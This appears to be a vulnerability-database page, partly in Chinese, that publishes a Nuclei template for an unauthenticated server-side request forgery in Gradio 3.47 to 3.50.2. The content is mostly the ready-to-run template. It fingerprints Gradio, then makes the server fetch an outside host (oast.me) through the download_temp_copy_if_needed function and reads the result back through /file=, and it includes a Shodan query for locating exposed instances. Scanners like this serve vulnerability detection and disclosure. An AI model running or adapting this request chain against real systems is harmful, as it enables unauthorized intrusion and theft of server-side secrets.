gradio-ssrf: Gradio 3.47 - 3.50.2 - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: Gradio | POC: 已公开

漏洞描述

Gradio Full Read SSRF when auth is not enabled, this version should work for versions 3.47 - 3.50.2.

PoC代码[已公开]

id: gradio-ssrf

info:
  name: Gradio 3.47 - 3.50.2 - Server-Side Request Forgery
  author: nvn1729
  severity: high
  description: |
    Gradio Full Read SSRF when auth is not enabled, this version should work for versions 3.47 - 3.50.2.
  reference:
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-percentile: 0.36659
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
    product: gradio
    vendor: gradio_project
  tags: cve,cve2024,unauth,gradio,ssrf,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /component_server HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "content=\"gradio", "gradio_mode", "gradio-app", "https://gradio.app")'
          - 'contains(tolower(body), "\"method not allowed")'
        condition: or
        internal: true

  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "{{fuzz_component_id}}", "data": "http://oast.me", "fn_name": "download_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        group: 1
        regex:
          - "\"?([^\"]+)"
        internal: true

    payloads:
      fuzz_component_id: helpers/wordlists/numbers.txt

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008063a282026c1f23b71c5c45543bd27a81fb52853d475c967f7932d02cf3bb0e0221009db0fe39201bfc1ae81251587c2eaaa71561345d30f702a7c8e5381e63120ecc:922c64590222798bb761d5b6d8e72950

相关漏洞推荐